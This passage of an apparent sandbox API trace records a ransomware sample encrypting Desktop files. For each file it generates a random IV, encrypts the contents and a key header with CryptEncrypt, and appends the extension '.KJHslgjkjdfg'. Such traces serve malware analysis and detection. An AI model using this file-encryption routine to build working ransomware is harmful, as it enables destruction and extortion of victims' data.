ftLastAccessTime.dwHighDateTime=0x1d62786, ftLastWriteTime.dwLowDateTime=0x3432dd90, ftLastWriteTime.dwHighDateTime=0x1d62786, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName=".", cAlternateFileName="")) returned 0x9b65e8 [0143.824] GetProcessHeap () returned 0x990000 [0143.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0ae0 | out: hHeap=0x990000) returned 1 [0143.825] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3432dd90, ftLastAccessTime.dwHighDateTime=0x1d62786, ftLastWriteTime.dwLowDateTime=0x3432dd90, ftLastWriteTime.dwHighDateTime=0x1d62786, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffff, cFileName="..", cAlternateFileName="")) returned 1 [0143.825] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfc02d80, ftCreationTime.dwHighDateTime=0x1d5db09, ftLastAccessTime.dwLowDateTime=0xcc639de0, ftLastAccessTime.dwHighDateTime=0x1d5dc07, ftLastWriteTime.dwLowDateTime=0xcc639de0, ftLastWriteTime.dwHighDateTime=0x1d5dc07, nFileSizeHigh=0x0, nFileSizeLow=0x170d4, dwReserved0=0x0, dwReserved1=0xffff, cFileName="-ddtdID7nipE4 _kZxS.csv", cAlternateFileName="-DDTDI~1.CSV")) returned 1 [0143.825] GetProcessHeap () returned 0x990000 [0143.825] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x25e) returned 0x9b76a0 [0143.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-ddtdID7nipE4 _kZxS.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-ddtdid7nipe4 _kzxs.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.826] GetProcessHeap () returned 0x990000 [0143.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.826] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.826] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.826] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xc, lpOverlapped=0x0) returned 1 [0143.836] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.836] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.836] GetProcessHeap () returned 0x990000 [0143.836] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0143.836] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0143.837] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.837] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0143.837] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.837] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.837] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.837] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.837] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.837] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.837] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.837] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.838] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x170d4, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x170d4, lpOverlapped=0x0) returned 1 [0143.840] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x170e0, dwBufLen=0x170e0 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x170e0) returned 1 [0143.841] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.841] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x170e0, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x170e0, lpOverlapped=0x0) returned 1 [0143.841] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.841] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x171c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.841] SetEndOfFile (hFile=0xc0) returned 1 [0143.844] GetProcessHeap () returned 0x990000 [0143.844] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0143.844] GetProcessHeap () returned 0x990000 [0143.844] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.844] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-ddtdID7nipE4 _kZxS.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-ddtdid7nipe4 _kzxs.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-ddtdID7nipE4 _kZxS.csv.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-ddtdid7nipe4 _kzxs.csv.kjhslgjkjdfg")) returned 1 [0143.850] CloseHandle (hObject=0xc0) returned 1 [0143.851] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146878f0, ftCreationTime.dwHighDateTime=0x1d5dfea, ftLastAccessTime.dwLowDateTime=0xacd96ac0, ftLastAccessTime.dwHighDateTime=0x1d5e528, ftLastWriteTime.dwLowDateTime=0xacd96ac0, ftLastWriteTime.dwHighDateTime=0x1d5e528, nFileSizeHigh=0x0, nFileSizeLow=0x16d22, dwReserved0=0x0, dwReserved1=0xffff, cFileName="4F5Ci_4IY08K8SFteMob.mp4", cAlternateFileName="4F5CI_~1.MP4")) returned 1 [0143.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4F5Ci_4IY08K8SFteMob.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4f5ci_4iy08k8sftemob.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.851] GetProcessHeap () returned 0x990000 [0143.851] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.851] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.851] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.851] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0xe, lpOverlapped=0x0) returned 1 [0143.853] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.853] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.853] GetProcessHeap () returned 0x990000 [0143.853] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0143.853] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0143.853] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.853] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0143.853] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.853] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.853] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.853] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.854] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.854] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.854] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.854] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.854] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16d22, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x16d22, lpOverlapped=0x0) returned 1 [0143.855] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x16d30, dwBufLen=0x16d30 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x16d30) returned 1 [0143.856] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.856] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16d30, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x16d30, lpOverlapped=0x0) returned 1 [0143.857] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.857] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x16e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.857] SetEndOfFile (hFile=0xc0) returned 1 [0143.859] GetProcessHeap () returned 0x990000 [0143.859] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b5500 | out: hHeap=0x990000) returned 1 [0143.859] GetProcessHeap () returned 0x990000 [0143.859] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.859] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4F5Ci_4IY08K8SFteMob.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4f5ci_4iy08k8sftemob.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4F5Ci_4IY08K8SFteMob.mp4.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4f5ci_4iy08k8sftemob.mp4.kjhslgjkjdfg")) returned 1 [0143.862] CloseHandle (hObject=0xc0) returned 1 [0143.863] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce5f4e0, ftCreationTime.dwHighDateTime=0x1d5e3a3, ftLastAccessTime.dwLowDateTime=0x1501a120, ftLastAccessTime.dwHighDateTime=0x1d5e73c, ftLastWriteTime.dwLowDateTime=0x1501a120, ftLastWriteTime.dwHighDateTime=0x1d5e73c, nFileSizeHigh=0x0, nFileSizeLow=0x18ca, dwReserved0=0x0, dwReserved1=0xffff, cFileName="5cfI2FPClZHdGg.mp3", cAlternateFileName="5CFI2F~1.MP3")) returned 1 [0143.863] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5cfI2FPClZHdGg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5cfi2fpclzhdgg.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.863] GetProcessHeap () returned 0x990000 [0143.863] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.863] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.863] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.863] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x6, lpOverlapped=0x0) returned 1 [0143.864] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.864] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.864] GetProcessHeap () returned 0x990000 [0143.864] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0143.864] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29dfc78*=0x40) returned 1 [0143.864] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.864] WriteFile (in: hFile=0xc0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29dfc90*=0x40, lpOverlapped=0x0) returned 1 [0143.864] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.864] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.864] WriteFile (in: hFile=0xc0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.864] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.864] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.864] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.865] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.865] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.865] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18ca, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x18ca, lpOverlapped=0x0) returned 1 [0143.865] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x18d0, dwBufLen=0x18d0 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x18d0) returned 1 [0143.865] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.865] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x18d0, lpOverlapped=0x0) returned 1 [0143.865] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.865] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x19a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.865] SetEndOfFile (hFile=0xc0) returned 1 [0143.892] GetProcessHeap () returned 0x990000 [0143.892] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0143.892] GetProcessHeap () returned 0x990000 [0143.892] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0143.892] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5cfI2FPClZHdGg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5cfi2fpclzhdgg.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5cfI2FPClZHdGg.mp3.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5cfi2fpclzhdgg.mp3.kjhslgjkjdfg")) returned 1 [0143.895] CloseHandle (hObject=0xc0) returned 1 [0143.895] FindNextFileW (in: hFindFile=0x9b65e8, lpFindFileData=0x29dfd20 | out: lpFindFileData=0x29dfd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8dcf7c0, ftCreationTime.dwHighDateTime=0x1d5e790, ftLastAccessTime.dwLowDateTime=0xdc241c0, ftLastAccessTime.dwHighDateTime=0x1d5e5df, ftLastWriteTime.dwLowDateTime=0xdc241c0, ftLastWriteTime.dwHighDateTime=0x1d5e5df, nFileSizeHigh=0x0, nFileSizeLow=0x1736b, dwReserved0=0x0, dwReserved1=0xffff, cFileName="5VGkmqMV_mQKDW0u08ys.docx", cAlternateFileName="5VGKMQ~1.DOC")) returned 1 [0143.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5VGkmqMV_mQKDW0u08ys.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5vgkmqmv_mqkdw0u08ys.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0143.895] GetProcessHeap () returned 0x990000 [0143.895] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0143.895] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0143.895] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb0 | out: lpNewFilePointer=0x0) returned 1 [0143.895] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfcc0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfcc0*, lpNumberOfBytesWritten=0x29dfc90*=0x5, lpOverlapped=0x0) returned 1 [0143.897] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.897] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.897] GetProcessHeap () returned 0x990000 [0143.897] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x50) returned 0x9b5500 [0143.897] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50, dwBufLen=0x50 | out: pbData=0x9b5500*, pdwDataLen=0x29dfc78*=0x50) returned 1 [0143.897] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.897] WriteFile (in: hFile=0xc0, lpBuffer=0x9b5500*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b5500*, lpNumberOfBytesWritten=0x29dfc90*=0x50, lpOverlapped=0x0) returned 1 [0143.897] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfc98*, lpNumberOfBytesWritten=0x29dfc90*=0x4, lpOverlapped=0x0) returned 1 [0143.897] WriteFile (in: hFile=0xc0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29dfc90*=0x10, lpOverlapped=0x0) returned 1 [0143.897] WriteFile (in: hFile=0xc0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29dfc90*=0x80, lpOverlapped=0x0) returned 1 [0143.897] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29dfcb8 | out: lpNewFilePointer=0x0) returned 1 [0143.897] WriteFile (in: hFile=0xc0, lpBuffer=0x29dfca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x29dfca8*, lpNumberOfBytesWritten=0x29dfc90*=0x8, lpOverlapped=0x0) returned 1 [0143.898] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29dfc94 | out: phKey=0x29dfc94*=0x9b65a8) returned 1 [0143.898] CryptSetKeyParam (hKey=0x9b65a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0143.898] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.898] ReadFile (in: hFile=0xc0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1736b, lpNumberOfBytesRead=0x29dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29dfc9c*=0x1736b, lpOverlapped=0x0) returned 1 [0143.899] CryptEncrypt (in: hKey=0x9b65a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x17370, dwBufLen=0x17370 | out: pbData=0x27d0020*, pdwDataLen=0x29dfc78*=0x17370) returned 1 [0143.900] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.900] WriteFile (in: hFile=0xc0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x17370, lpNumberOfBytesWritten=0x29dfc90, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29dfc90*=0x17370, lpOverlapped=0x0) returned 1 [0143.901] CryptDestroyKey (hKey=0x9b65a8) returned 1 [0143.901] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x17454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.901] SetEndOfFile (hFile=0xc0) returned 1 [0143.904] 